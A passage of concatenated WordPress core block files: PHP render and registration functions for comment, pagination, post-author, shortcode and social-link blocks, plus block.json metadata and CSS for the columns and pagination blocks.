<?php
/**
 * Server-side rendering of the `core/post-comments-form` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-comments-form` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post comments form for the current post.
 */
function render_block_core_post_comments_form( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	if ( post_password_required( $block->context['postId'] ) ) {
		return;
	}

	$classes = array( 'comment-respond' ); // See comment further below.
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	add_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' );

	ob_start();
	comment_form( array(), $block->context['postId'] );
	$form = ob_get_clean();

	remove_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' );

	// We use the outermost wrapping `<div />` returned by `comment_form()`
	// which is identified by its default classname `comment-respond` to inject
	// our wrapper attributes. This way, it is guaranteed that all styling applied
	// to the block is carried along when the comment form is moved to the location
	// of the 'Reply' link that the user clicked by Core's `comment-reply.js` script.
	$form = str_replace( 'class="comment-respond"', $wrapper_attributes, $form );

	// Enqueue the comment-reply script.
	wp_enqueue_script( 'comment-reply' );

	return $form;
}

/**
 * Registers the `core/post-comments-form` block on the server.
 */
function register_block_core_post_comments_form() {
	register_block_type_from_metadata(
		__DIR__ . '/post-comments-form',
		array(
			'render_callback' => 'render_block_core_post_comments_form',
		)
	);
}
add_action( 'init', 'register_block_core_post_comments_form' );

/**
 * Use the button block classes for the form-submit button.
 *
 * @param array $fields The default comment form arguments.
 *
 * @return array Returns the modified fields.
 */
function post_comments_form_block_form_defaults( $fields ) {
	if ( wp_is_block_theme() ) {
		$fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />';
		$fields['submit_field']  = '<p class="form-submit wp-block-button">%1$s %2$s</p>';
	}

	return $fields;
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/columns",
	"title": "Columns",
	"category": "design",
	"allowedBlocks": [ "core/column" ],
	"description": "Display content in multiple columns, with blocks added to each column.",
	"textdomain": "default",
	"attributes": {
		"verticalAlignment": {
			"type": "string"
		},
		"isStackedOnMobile": {
			"type": "boolean",
			"default": true
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"heading": true,
			"button": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"blockGap": {
				"__experimentalDefault": "2em",
				"sides": [ "horizontal", "vertical" ]
			},
			"margin": [ "top", "bottom" ],
			"padding": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"allowEditing": false,
			"default": {
				"type": "flex",
				"flexWrap": "nowrap"
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"shadow": true
	},
	"editorStyle": "wp-block-columns-editor",
	"style": "wp-block-columns"
}
.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}<?php
/**
 * Server-side rendering of the `core/query-pagination-previous` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination-previous` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the previous posts link for the query.
 */
function render_block_core_query_pagination_previous( $attributes, $content, $block ) {
	$page_key            = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination'];
	$page                = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];

	$wrapper_attributes = get_block_wrapper_attributes();
	$show_label         = isset( $block->context['showLabel'] ) ? (bool) $block->context['showLabel'] : true;
	$default_label      = __( 'Previous Page' );
	$label_text         = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label;
	$label              = $show_label ? $label_text : '';
	$pagination_arrow   = get_query_pagination_arrow( $block, false );
	if ( ! $label ) {
		$wrapper_attributes .= ' aria-label="' . $label_text . '"';
	}
	if ( $pagination_arrow ) {
		$label = $pagination_arrow . $label;
	}
	$content = '';
	// Check if the pagination is for Query that inherits the global context
	// and handle appropriately.
	if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
		$filter_link_attributes = static function () use ( $wrapper_attributes ) {
			return $wrapper_attributes;
		};

		add_filter( 'previous_posts_link_attributes', $filter_link_attributes );
		$content = get_previous_posts_link( $label );
		remove_filter( 'previous_posts_link_attributes', $filter_link_attributes );
	} elseif ( 1 !== $page ) {
		$content = sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			esc_url( add_query_arg( $page_key, $page - 1 ) ),
			$wrapper_attributes,
			$label
		);
	}

	if ( $enhanced_pagination && isset( $content ) ) {
		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag(
			array(
				'tag_name'   => 'a',
				'class_name' => 'wp-block-query-pagination-previous',
			)
		) ) {
			$p->set_attribute( 'data-wp-key', 'query-pagination-previous' );
			$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
			$p->set_attribute( 'data-wp-on--mouseenter', 'core/query::actions.prefetch' );
			$p->set_attribute( 'data-wp-watch', 'core/query::callbacks.prefetch' );
			$content = $p->get_updated_html();
		}
	}

	return $content;
}

/**
 * Registers the `core/query-pagination-previous` block on the server.
 */
function register_block_core_query_pagination_previous() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination-previous',
		array(
			'render_callback' => 'render_block_core_query_pagination_previous',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination_previous' );
<?php
/**
 * Server-side rendering of the `core/comment-reply-link` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-reply-link` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the post comment's reply link.
 */
function render_block_core_comment_reply_link( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) ) {
		return '';
	}

	$thread_comments = get_option( 'thread_comments' );
	if ( ! $thread_comments ) {
		return '';
	}

	$comment = get_comment( $block->context['commentId'] );
	if ( empty( $comment ) ) {
		return '';
	}

	$depth     = 1;
	$max_depth = get_option( 'thread_comments_depth' );
	$parent_id = $comment->comment_parent;

	// Compute comment's depth iterating over its ancestors.
	while ( ! empty( $parent_id ) ) {
		++$depth;
		$parent_id = get_comment( $parent_id )->comment_parent;
	}

	$comment_reply_link = get_comment_reply_link(
		array(
			'depth'     => $depth,
			'max_depth' => $max_depth,
		),
		$comment
	);

	// Render nothing if the generated reply link is empty.
	if ( empty( $comment_reply_link ) ) {
		return;
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$comment_reply_link
	);
}

/**
 * Registers the `core/comment-reply-link` block on the server.
 */
function register_block_core_comment_reply_link() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-reply-link',
		array(
			'render_callback' => 'render_block_core_comment_reply_link',
		)
	);
}

add_action( 'init', 'register_block_core_comment_reply_link' );
<?php
/**
 * Server-side rendering of the `core/shortcode` block.
 *
 * @package WordPress
 */

/**
 * Performs wpautop() on the shortcode block content.
 *
 * @param array  $attributes The block attributes.
 * @param string $content    The block content.
 *
 * @return string Returns the block content.
 */
function render_block_core_shortcode( $attributes, $content ) {
	return wpautop( $content );
}

/**
 * Registers the `core/shortcode` block on server.
 */
function register_block_core_shortcode() {
	register_block_type_from_metadata(
		__DIR__ . '/shortcode',
		array(
			'render_callback' => 'render_block_core_shortcode',
		)
	);
}
add_action( 'init', 'register_block_core_shortcode' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination",
	"title": "Pagination",
	"category": "theme",
	"ancestor": [ "core/query" ],
	"allowedBlocks": [
		"core/query-pagination-previous",
		"core/query-pagination-numbers",
		"core/query-pagination-next"
	],
	"description": "Displays a paginated navigation to next/previous set of posts, when applicable.",
	"textdomain": "default",
	"attributes": {
		"paginationArrow": {
			"type": "string",
			"default": "none"
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		}
	},
	"usesContext": [ "queryId", "query" ],
	"providesContext": {
		"paginationArrow": "paginationArrow",
		"showLabel": "showLabel"
	},
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-query-pagination-editor",
	"style": "wp-block-query-pagination"
}
.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-query-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-query-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin:.5em .5em .5em 0;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}<?php
/**
 * Server-side rendering of the `core/post-author` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-author` block on the server.
 *
 * @param  array    $attributes Block attributes.
 * @param  string   $content    Block default content.
 * @param  WP_Block $block      Block instance.
 * @return string Returns the rendered author block.
 */
function render_block_core_post_author( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		$author_id = get_query_var( 'author' );
	} else {
		$author_id = get_post_field( 'post_author', $block->context['postId'] );
	}

	if ( empty( $author_id ) ) {
		return '';
	}

	$avatar = ! empty( $attributes['avatarSize'] ) ? get_avatar(
		$author_id,
		$attributes['avatarSize']
	) : null;

	$link        = get_author_posts_url( $author_id );
	$author_name = get_the_author_meta( 'display_name', $author_id );
	if ( ! empty( $attributes['isLink'] && ! empty( $attributes['linkTarget'] ) ) ) {
		$author_name = sprintf( '<a href="%1$s" target="%2$s">%3$s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $author_name );
	}

	$byline  = ! empty( $attributes['byline'] ) ? $attributes['byline'] : false;
	$classes = array();
	if ( isset( $attributes['itemsJustification'] ) ) {
		$classes[] = 'items-justified-' . $attributes['itemsJustification'];
	}
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf( '<div %1$s>', $wrapper_attributes ) .
	( ! empty( $attributes['showAvatar'] ) ? '<div class="wp-block-post-author__avatar">' . $avatar . '</div>' : '' ) .
	'<div class="wp-block-post-author__content">' .
	( ! empty( $byline ) ? '<p class="wp-block-post-author__byline">' . wp_kses_post( $byline ) . '</p>' : '' ) .
	'<p class="wp-block-post-author__name">' . $author_name . '</p>' .
	( ! empty( $attributes['showBio'] ) ? '<p class="wp-block-post-author__bio">' . get_the_author_meta( 'user_description', $author_id ) . '</p>' : '' ) .
	'</div>' .
	'</div>';
}

/**
 * Registers the `core/post-author` block on the server.
 */
function register_block_core_post_author() {
	register_block_type_from_metadata(
		__DIR__ . '/post-author',
		array(
			'render_callback' => 'render_block_core_post_author',
		)
	);
}
add_action( 'init', 'register_block_core_post_author' );
<?php
/**
 * Server-side rendering of the `core/social-link` blocks.
 *
 * @package WordPress
 */

/**
 * Renders the `core/social-link` block on server.
 *
 * @param Array    $attributes The block attributes.
 * @param String   $content    InnerBlocks content of the Block.
 * @param WP_Block $block      Block object.
 *
 * @return string Rendered HTML of the referenced block.
 */
function render_block_core_social_link( $attributes, $content, $block ) {
	$open_in_new_tab = isset( $block->context['openInNewTab'] ) ? $block->context['openInNewTab'] : false;

	$service     = ( isset( $attributes['service'] ) ) ? $attributes['service'] : 'Icon';
	$url         = ( isset( $attributes['url'] ) ) ? $attributes['url'] : false;
	$label       = ( isset( $attributes['label'] ) ) ? $attributes['label'] : block_core_social_link_get_name( $service );
	$rel         = ( isset( $attributes['rel'] ) ) ? $attributes['rel'] : '';
	$show_labels = array_key_exists( 'showLabels', $block->context ) ? $block->context['showLabels'] : false;

	// Don't render a link if there is no URL set.
	if ( ! $url ) {
		return '';
	}

	/**
	 * Prepend emails with `mailto:` if not set.
	 * The `is_email` returns false for emails with schema.
	 */
	if ( is_email( $url ) ) {
		$url = 'mailto:' . antispambot( $url );
	}

	/**
	 * Prepend URL with https:// if it doesn't appear to contain a scheme
	 * and it's not a relative link starting with //.
	 */
	if ( ! parse_url( $url, PHP_URL_SCHEME ) && ! str_starts_with( $url, '//' ) ) {
		$url = 'https://' . $url;
	}

	$icon               = block_core_social_link_get_icon( $service );
	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => 'wp-social-link wp-social-link-' . $service . block_core_social_link_get_color_classes( $block->context ),
			'style' => block_core_social_link_get_color_styles( $block->context ),
		)
	);

	$link  = '<li ' . $wrapper_attributes . '>';
	$link .= '<a href="' . esc_url( $url ) . '" class="wp-block-social-link-anchor">';
	$link .= $icon;
	$link .= '<span class="wp-block-social-link-label' . ( $show_labels ? '' : ' screen-reader-text' ) . '">';
	$link .= esc_html( $label );
	$link .= '</span></a></li>';

	$processor = new WP_HTML_Tag_Processor( $link );
	$processor->next_tag( 'a' );
	if ( $open_in_new_tab ) {
		$processor->set_attribute( 'rel', trim( $rel . ' noopener nofollow' ) );
		$processor->set_attribute( 'target', '_blank' );
	} elseif ( '' !== $rel ) {
		$processor->set_attribute( 'rel', trim( $rel ) );
	}
	return $processor->get_updated_html();
}

/**
 * Registers the `core/social-link` blocks.
 */
function register_block_core_social_link() {
	register_block_type_from_metadata(
		__DIR__ . '/social-link',
		array(
			'render_callback' => 'render_block_core_social_link',
		)
	);
}
add_action( 'init', 'register_block_core_social_link' );


/**
 * Returns the SVG for social link.
 *
 * @param string $service The service icon.
 *
 * @return string SVG Element for service icon.
 */
function block_core_social_link_get_icon( $service ) {
	$services = block_core_social_link_services();
	if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) {
		return $services[ $service ]['icon'];
	}

	return $services['share']['icon'];
}

/**
 * Returns the brand name for social link.
 *
 * @param string $service The service icon.
 *
 * @return string Brand label.
 */
function block_core_social_link_get_name( $service ) {
	$services = block_core_social_link_services();
	if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) {
